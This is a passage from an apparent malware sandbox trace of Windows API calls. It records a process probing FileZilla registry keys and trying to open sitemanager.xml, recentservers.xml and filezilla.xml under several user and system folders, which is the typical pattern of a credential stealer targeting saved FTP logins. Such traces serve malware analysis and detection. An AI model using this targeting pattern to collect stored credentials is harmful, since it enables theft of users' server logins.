RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x12f5f0 | out: phkResult=0x12f5f0*=0x0) returned 0x2 [0068.405] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f648 | out: phkResult=0x12f648*=0x0) returned 0x2 [0068.405] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x12f61c | out: phkResult=0x12f61c*=0x0) returned 0x2 [0068.405] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x12f5f0 | out: phkResult=0x12f5f0*=0x0) returned 0x2 [0068.405] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f648 | out: phkResult=0x12f648*=0x0) returned 0x2 [0068.405] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x12f61c | out: phkResult=0x12f61c*=0x0) returned 0x2 [0068.406] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x12f5f0 | out: phkResult=0x12f5f0*=0x0) returned 0x2 [0068.406] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f648 | out: phkResult=0x12f648*=0x0) returned 0x2 [0068.406] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x12f61c | out: phkResult=0x12f61c*=0x0) returned 0x2 [0068.406] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x12f5f0 | out: phkResult=0x12f5f0*=0x0) returned 0x2 [0068.406] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f648 | out: phkResult=0x12f648*=0x0) returned 0x2 [0068.406] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x12f61c | out: phkResult=0x12f61c*=0x0) returned 0x2 [0068.406] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x12f5f0 | out: phkResult=0x12f5f0*=0x0) returned 0x2 [0068.406] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f648 | out: phkResult=0x12f648*=0x0) returned 0x2 [0068.406] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x12f61c | out: phkResult=0x12f61c*=0x0) returned 0x2 [0068.406] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x12f5f0 | out: phkResult=0x12f5f0*=0x0) returned 0x2 [0068.406] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f648 | out: phkResult=0x12f648*=0x0) returned 0x2 [0068.406] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x12f61c | out: phkResult=0x12f61c*=0x0) returned 0x2 [0068.406] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x12f5f0 | out: phkResult=0x12f5f0*=0x0) returned 0x2 [0068.406] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f648 | out: phkResult=0x12f648*=0x0) returned 0x2 [0068.406] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x12f61c | out: phkResult=0x12f61c*=0x0) returned 0x2 [0068.406] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x12f5f0 | out: phkResult=0x12f5f0*=0x0) returned 0x2 [0068.406] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f648 | out: phkResult=0x12f648*=0x0) returned 0x2 [0068.406] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x12f61c | out: phkResult=0x12f61c*=0x0) returned 0x2 [0068.406] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x12f5f0 | out: phkResult=0x12f5f0*=0x0) returned 0x2 [0068.406] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f648 | out: phkResult=0x12f648*=0x0) returned 0x2 [0068.406] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x12f61c | out: phkResult=0x12f61c*=0x0) returned 0x2 [0068.406] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x12f5f0 | out: phkResult=0x12f5f0*=0x0) returned 0x2 [0068.407] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f648 | out: phkResult=0x12f648*=0x0) returned 0x2 [0068.407] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x12f61c | out: phkResult=0x12f61c*=0x0) returned 0x2 [0068.407] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x12f5f0 | out: phkResult=0x12f5f0*=0x0) returned 0x2 [0068.407] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f648 | out: phkResult=0x12f648*=0x0) returned 0x2 [0068.407] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x12f61c | out: phkResult=0x12f61c*=0x0) returned 0x2 [0068.407] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x12f5f0 | out: phkResult=0x12f5f0*=0x0) returned 0x2 [0068.407] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f648 | out: phkResult=0x12f648*=0x0) returned 0x2 [0068.407] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x12f61c | out: phkResult=0x12f61c*=0x0) returned 0x2 [0068.407] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x12f5f0 | out: phkResult=0x12f5f0*=0x0) returned 0x2 [0068.407] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f648 | out: phkResult=0x12f648*=0x0) returned 0x2 [0068.407] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x12f61c | out: phkResult=0x12f61c*=0x0) returned 0x2 [0068.407] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x12f5f0 | out: phkResult=0x12f5f0*=0x0) returned 0x2 [0068.407] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f648 | out: phkResult=0x12f648*=0x0) returned 0x2 [0068.407] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x12f61c | out: phkResult=0x12f61c*=0x0) returned 0x2 [0068.407] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x12f5f0 | out: phkResult=0x12f5f0*=0x0) returned 0x2 [0068.407] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", phkResult=0x12fed8 | out: phkResult=0x12fed8*=0x0) returned 0x2 [0068.407] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feb4 | out: phkResult=0x12feb4*=0x0) returned 0x2 [0068.407] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe88 | out: phkResult=0x12fe88*=0x0) returned 0x2 [0068.407] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe5c | out: phkResult=0x12fe5c*=0x0) returned 0x2 [0068.407] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla Client", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feb4 | out: phkResult=0x12feb4*=0x0) returned 0x2 [0068.407] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla Client", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe88 | out: phkResult=0x12fe88*=0x0) returned 0x2 [0068.407] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla Client", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe5c | out: phkResult=0x12fe5c*=0x0) returned 0x2 [0068.407] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feb4 | out: phkResult=0x12feb4*=0x0) returned 0x2 [0068.407] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe88 | out: phkResult=0x12fe88*=0x0) returned 0x2 [0068.407] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe5c | out: phkResult=0x12fe5c*=0x0) returned 0x2 [0068.407] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FileZilla Client", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feb4 | out: phkResult=0x12feb4*=0x0) returned 0x2 [0068.408] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FileZilla Client", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe88 | out: phkResult=0x12fe88*=0x0) returned 0x2 [0068.408] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\FileZilla Client", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe5c | out: phkResult=0x12fe5c*=0x0) returned 0x2 [0068.408] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.408] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0068.408] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.408] lstrlenA (lpString="\\FileZilla") returned 10 [0068.408] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x641518 [0068.408] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.408] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\FileZilla" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla" [0068.408] LocalFree (hMem=0x626a88) returned 0x0 [0068.408] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla") returned 42 [0068.408] lstrlenA (lpString="\\sitemanager.xml") returned 16 [0068.408] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x626a88 [0068.408] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla" [0068.408] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla", lpString2="\\sitemanager.xml" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla\\sitemanager.xml") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla\\sitemanager.xml" [0068.408] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla\\sitemanager.xml", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3c [0068.408] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x626b50 [0068.408] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla\\sitemanager.xml", lpDst=0x626b50, nSize=0x3c | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla\\sitemanager.xml") returned 0x3b [0068.408] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla\\sitemanager.xml" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\filezilla\\sitemanager.xml"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.408] LocalFree (hMem=0x626b50) returned 0x0 [0068.408] LocalFree (hMem=0x626a88) returned 0x0 [0068.408] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla") returned 42 [0068.408] lstrlenA (lpString="\\recentservers.xml") returned 18 [0068.408] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x626a88 [0068.408] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla" [0068.408] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla", lpString2="\\recentservers.xml" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla\\recentservers.xml") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla\\recentservers.xml" [0068.408] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla\\recentservers.xml", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3e [0068.408] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x626b50 [0068.408] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla\\recentservers.xml", lpDst=0x626b50, nSize=0x3e | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla\\recentservers.xml") returned 0x3d [0068.408] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla\\recentservers.xml" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\filezilla\\recentservers.xml"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.408] LocalFree (hMem=0x626b50) returned 0x0 [0068.408] LocalFree (hMem=0x626a88) returned 0x0 [0068.408] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla") returned 42 [0068.408] lstrlenA (lpString="\\filezilla.xml") returned 14 [0068.408] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x626a88 [0068.408] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla" [0068.408] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla", lpString2="\\filezilla.xml" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla\\filezilla.xml") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla\\filezilla.xml" [0068.408] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla\\filezilla.xml", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3a [0068.409] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x626b50 [0068.409] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla\\filezilla.xml", lpDst=0x626b50, nSize=0x3a | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla\\filezilla.xml") returned 0x39 [0068.409] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FileZilla\\filezilla.xml" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\filezilla\\filezilla.xml"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.409] LocalFree (hMem=0x626b50) returned 0x0 [0068.409] LocalFree (hMem=0x626a88) returned 0x0 [0068.409] LocalFree (hMem=0x641518) returned 0x0 [0068.409] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.409] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\ProgramData") returned 0x0 [0068.409] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.409] lstrlenA (lpString="\\FileZilla") returned 10 [0068.409] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x641518 [0068.409] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.409] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\FileZilla" | out: lpString1="C:\\ProgramData\\FileZilla") returned="C:\\ProgramData\\FileZilla" [0068.409] LocalFree (hMem=0x626a88) returned 0x0 [0068.409] lstrlenA (lpString="C:\\ProgramData\\FileZilla") returned 24 [0068.409] lstrlenA (lpString="\\sitemanager.xml") returned 16 [0068.409] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x6415c0 [0068.409] lstrcpyA (in: lpString1=0x6415c0, lpString2="C:\\ProgramData\\FileZilla" | out: lpString1="C:\\ProgramData\\FileZilla") returned="C:\\ProgramData\\FileZilla" [0068.409] lstrcatA (in: lpString1="C:\\ProgramData\\FileZilla", lpString2="\\sitemanager.xml" | out: lpString1="C:\\ProgramData\\FileZilla\\sitemanager.xml") returned="C:\\ProgramData\\FileZilla\\sitemanager.xml" [0068.409] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FileZilla\\sitemanager.xml", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x2a [0068.409] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x626a88 [0068.409] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FileZilla\\sitemanager.xml", lpDst=0x626a88, nSize=0x2a | out: lpDst="C:\\ProgramData\\FileZilla\\sitemanager.xml") returned 0x29 [0068.409] CreateFileA (lpFileName="C:\\ProgramData\\FileZilla\\sitemanager.xml" (normalized: "c:\\programdata\\filezilla\\sitemanager.xml"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.409] LocalFree (hMem=0x626a88) returned 0x0 [0068.409] LocalFree (hMem=0x6415c0) returned 0x0 [0068.409] lstrlenA (lpString="C:\\ProgramData\\FileZilla") returned 24 [0068.409] lstrlenA (lpString="\\recentservers.xml") returned 18 [0068.409] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x6415c0 [0068.409] lstrcpyA (in: lpString1=0x6415c0, lpString2="C:\\ProgramData\\FileZilla" | out: lpString1="C:\\ProgramData\\FileZilla") returned="C:\\ProgramData\\FileZilla" [0068.409] lstrcatA (in: lpString1="C:\\ProgramData\\FileZilla", lpString2="\\recentservers.xml" | out: lpString1="C:\\ProgramData\\FileZilla\\recentservers.xml") returned="C:\\ProgramData\\FileZilla\\recentservers.xml" [0068.409] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FileZilla\\recentservers.xml", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x2c [0068.409] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x626a88 [0068.409] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FileZilla\\recentservers.xml", lpDst=0x626a88, nSize=0x2c | out: lpDst="C:\\ProgramData\\FileZilla\\recentservers.xml") returned 0x2b [0068.410] CreateFileA (lpFileName="C:\\ProgramData\\FileZilla\\recentservers.xml" (normalized: "c:\\programdata\\filezilla\\recentservers.xml"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.410] LocalFree (hMem=0x626a88) returned 0x0 [0068.410] LocalFree (hMem=0x6415c0) returned 0x0 [0068.410] lstrlenA (lpString="C:\\ProgramData\\FileZilla") returned 24 [0068.410] lstrlenA (lpString="\\filezilla.xml") returned 14 [0068.410] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6292f8 [0068.410] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\ProgramData\\FileZilla" | out: lpString1="C:\\ProgramData\\FileZilla") returned="C:\\ProgramData\\FileZilla" [0068.410] lstrcatA (in: lpString1="C:\\ProgramData\\FileZilla", lpString2="\\filezilla.xml" | out: lpString1="C:\\ProgramData\\FileZilla\\filezilla.xml") returned="C:\\ProgramData\\FileZilla\\filezilla.xml" [0068.410] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FileZilla\\filezilla.xml", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x28 [0068.410] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x629248 [0068.410] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FileZilla\\filezilla.xml", lpDst=0x629248, nSize=0x28 | out: lpDst="C:\\ProgramData\\FileZilla\\filezilla.xml") returned 0x27 [0068.410] CreateFileA (lpFileName="C:\\ProgramData\\FileZilla\\filezilla.xml" (normalized: "c:\\programdata\\filezilla\\filezilla.xml"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.410] LocalFree (hMem=0x629248) returned 0x0 [0068.410] LocalFree (hMem=0x6292f8) returned 0x0 [0068.410] LocalFree (hMem=0x641518) returned 0x0 [0068.410] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.410] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0068.410] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.410] lstrlenA (lpString="\\FileZilla") returned 10 [0068.410] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x641518 [0068.410] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.410] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\FileZilla" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla" [0068.410] LocalFree (hMem=0x626a88) returned 0x0 [0068.410] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla") returned 40 [0068.410] lstrlenA (lpString="\\sitemanager.xml") returned 16 [0068.410] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x626a88 [0068.410] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla" [0068.410] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla", lpString2="\\sitemanager.xml" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla\\sitemanager.xml") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla\\sitemanager.xml" [0068.410] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla\\sitemanager.xml", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3a [0068.410] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x626b50 [0068.410] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla\\sitemanager.xml", lpDst=0x626b50, nSize=0x3a | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla\\sitemanager.xml") returned 0x39 [0068.411] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla\\sitemanager.xml" (normalized: "c:\\users\\eebsym5\\appdata\\local\\filezilla\\sitemanager.xml"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.411] LocalFree (hMem=0x626b50) returned 0x0 [0068.411] LocalFree (hMem=0x626a88) returned 0x0 [0068.411] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla") returned 40 [0068.411] lstrlenA (lpString="\\recentservers.xml") returned 18 [0068.411] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x626a88 [0068.411] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla" [0068.411] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla", lpString2="\\recentservers.xml" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla\\recentservers.xml") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla\\recentservers.xml" [0068.411] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla\\recentservers.xml", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3c [0068.411] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x626b50 [0068.411] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla\\recentservers.xml", lpDst=0x626b50, nSize=0x3c | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla\\recentservers.xml") returned 0x3b [0068.411] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla\\recentservers.xml" (normalized: "c:\\users\\eebsym5\\appdata\\local\\filezilla\\recentservers.xml"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.411] LocalFree (hMem=0x626b50) returned 0x0 [0068.411] LocalFree (hMem=0x626a88) returned 0x0 [0068.411] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla") returned 40 [0068.411] lstrlenA (lpString="\\filezilla.xml") returned 14 [0068.411] LocalAlloc (uFlags=0x40, uBytes=0xb7) returned 0x6415d0 [0068.411] lstrcpyA (in: lpString1=0x6415d0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\FileZilla" | out: 